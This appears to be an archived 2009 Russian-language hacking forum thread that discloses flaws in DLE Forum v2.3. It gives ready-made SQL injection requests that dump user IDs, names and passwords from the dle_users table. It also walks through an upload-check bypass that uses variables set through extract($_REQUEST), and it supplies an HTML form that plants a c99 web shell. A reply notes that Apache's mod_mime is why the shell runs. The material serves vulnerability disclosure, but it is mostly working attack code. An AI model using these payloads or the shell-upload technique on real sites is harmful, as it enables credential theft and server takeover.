PDA

Просмотр полной версии : DLE Forum v.2.3 Final Release


BlackSun
19.03.2009, 04:27
DLE Forum v.2.3 Final Release
Офф сайт: http://www.dle-files.ru
Скачать: http://www.dle-files.ru/engine/download.php?id=6

SQL-INJ
Уязвимый скрипт: /engine/forum/textversion.php
Зависимость: register_globals = on
Запрос: /engine/forum/textversion.php?f1&WHERE=+AND+forum_id=-1+UNION+SELECT+1,2,concat_ws(0x3a,user_id,name,pas sword),4,5,email,7,8,9,10,11,12,13,14,15,16,17,18, 19,20+FROM+dle_users+--+-
Уязвимый кусок кода:

// фишки с WHERE я так и не понял ..
332: $db->query("SELECT * FROM " . PREFIX . "_forum_topics WHERE forum_id = '$id' ".$WHERE." ORDER BY fixed, ".$sort_type." DESC LIMIT ".$cstart.",".$forum_config['topic_inpage']."");
333:
334: while ($row = $db->get_row())
335: {


SQL-INJ
Зависимость: magic_quotes = off
Exploit: POST запрос к index.php?do=forum&act=forum
-1' UNION SELECT 0,2,3,4,5,concat_ws(0x3a,user_id,name,password),7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from dle_users --

Уязвимый кусок кода:

// /engine/forum/sources/showforum.php
// Аналогичная уязвимость и в showtopic.php
// Забавная проверка =)
if (intval($fid))
{
$row_forum = $db->super_query("SELECT * FROM " . PREFIX . "_forum_forums WHERE id = '$fid'");
.....................
// $row_forum['id'] должен равняться 0, иначе дальше пойдут еще скуль-запросы в другие таблицы и скрипт вывалится с ошибкой, не выведя то, что нам нужно
if ($row_forum['id'] and $check_read)
{

BlackSun
19.03.2009, 05:49
Аплоад файлов с обходом проверки расширения

Имеем аплоадер файлов
/engine/forum/sources/modules/uploads.php?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add
Где fid - айди форума, где разрешен аплоад

В файле uploads.php имеем:

// это нам только наруку
extract($_REQUEST, EXTR_SKIP);

$fid = intval($_REQUEST['fid']);
$tid = intval($_REQUEST['tid']);
$pid = intval($_REQUEST['pid']);
..........
$result = $db->super_query("SELECT * FROM " . PREFIX . "_forum_forums WHERE id = '$fid'");

$access_upload = $result['access_upload'];

$access_upload = explode(":", $access_upload);

if (!in_array($member_id['user_group'], $access_upload))
{
die("Hacking attempt!");
}


Далее идут проверки

if ($do == "add")
{
$allowed_images = array("gif", "jpg", "png", "jpe", "jpeg");

$allowed_files = explode(',', $forum_config['upload_type']);

$file_name = $_FILES['attachment']['name'];

$file_explode = explode(".",$file_name);

$file_type = strtolower(end($file_explode));

$attachment_size = $_FILES['attachment']['size'];

if (in_array($file_type, $allowed_images) AND $forum_config['img_upload'])
{
if ($attachment_size < ($forum_config['img_size']*1024))
{
$is_image = TRUE;

$DIR = "images/";
}
else
{
$image_size_error = true;
}
}

if (in_array($file_type, $allowed_files) AND $upload_file_access)
{
$is_file = TRUE;

$DIR = "files/";
}

if ($is_file OR $is_image)
{

Переменные $is_file, $is_image, $DIR нигде ранее не определены, поэтому передав их GET \ POST запросом, можно залить файл с любым расширением, но .. это самое расширение обрезается =\
Файлы аплоадятся в /uploads/forum/files

$uploadfile = UPLOAD_DIR.$DIR.basename($_FILES['attachment']['name']);

if (move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadfile)){
$file_name = $_FILES['attachment']['name'];
$file_size = $_FILES['attachment']['size'];
}

if (file_exists(UPLOAD_DIR . $DIR . $file_name)){

if ($is_file)
{
$ftype = 'file';

$file_rename = time()."_".totranslit($file_name);
}
else
{
$ftype = 'image';

$file_rename = time().".".$file_type;
}

rename(UPLOAD_DIR . $DIR . $file_name, UPLOAD_DIR . $DIR . $file_rename);

Тут и пригодится переменная $DIR: &DIR=files/c99.php. - имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)

В итоге залить шелл можно следующей формой:

<form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add&is_file=1&files/c99.php."><br /><input class="forum_input" name="attachment" type="file" style="width:200px" />&nbsp;<input class="button" value="Загрузить" type="submit" style="background-color:#53E490;" /></form><p><font color="red">Не допустимый формат файла!</font></p></fieldset><br /><fieldset><legend><strong>Загруженные файлы</strong></legend><form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=del"><table class="dle_forum" width="100%"></table><br />Ни одного файла не загружено.</form>

[Raz0r]
19.03.2009, 12:35
имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)
Это происходит из-за апачевского модуля mod_mime, который отбрасывает все неизвестные расширения